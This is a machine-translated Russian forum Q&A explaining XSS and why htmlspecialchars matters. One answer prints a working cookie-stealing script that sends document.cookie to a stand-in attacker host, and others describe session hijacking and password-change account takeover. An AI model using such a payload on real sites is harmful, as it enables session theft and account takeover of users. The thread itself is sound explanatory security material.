Таким образом, предотвращение веб-сайта от атаки XSS очень просто, вам просто нужно использовать функцию htmlspecialchars
и вы хороши.
Но если разработчик забыл использовать его, что может сделать злоумышленник / хакер? Он может получить ваш session_id, не так ли? И вот вопрос. Что он может с этим сделать?
Большое спасибо.
Таким образом, предотвращение веб-сайта от атаки XSS очень просто, вам просто нужно использовать функцию htmlspecialchars, и вы хороши.
Правильно. Используйте его в любом месте, когда вы собираетесь повторно вводить пользовательский ввод . Это касается всех частей HTTP-запроса: заголовков, тела и параметров.
Но если разработчик забыл использовать его, что может сделать злоумышленник / хакер?
S / он может вставлять вредоносный HTML / скрипт. Например, в некоторых сообщениях / комментариях на веб-странице:
<script>document.write('<img src="http://hackersdomain.com/fake.gif?' + escape(document.cookie) + '" width=0 height=0>');</script>
Вышеупомянутое запросит изображение из почтового сервера вместе с файлом cookie документа в качестве строки запроса.
Он может получить ваш session_id, не так ли? И вот вопрос. Что он может с этим сделать?
Идентификатор сеанса хранится в файле cookie. Как только хакер уведомляется о том, что изображение было запрошено с файлом cookie в строке запроса, все, что ему нужно сделать, это просто отредактировать cookie браузера, чтобы включить тот же идентификатор сеанса, чтобы войти в систему как исходный пользователь. Это, очевидно, очень опасно, если исходный пользователь является администратором сайта.
Это лучшее объяснение XSS, с которым я когда-либо сталкивался: Flash Animation Example
Вот второе видео
Attacker A получает член B для доступа к сайту C с учетными данными B через тщательно сконструированный URI.
Затем A может запускать любой JS, который им нравится на C, используя учетные данные B.
Это позволяет им:
Начните читать о XSS здесь: http://en.wikipedia.org/wiki/XSS и http://en.wikipedia.org/wiki/Cross-site_scripting
Если у вас есть уязвимость XSS на вашем веб-сайте, хакер может вставить любой HTML-код на страницу, включая <script>
. Если я войду на ваш веб-сайт и перейду на атакующую страницу, в моем браузере будет запущен JavaScript, вставленный хакером, и сделайте мой браузер так, как планировал хакер.
Например, чтобы отправить запрос POST на ваш сервер, чтобы изменить мой пароль, а затем загрузить URL-адрес с сервера хакера, чтобы уведомить его о моем номере учетной записи, чтобы он мог войти в систему и украсть мою учетную запись.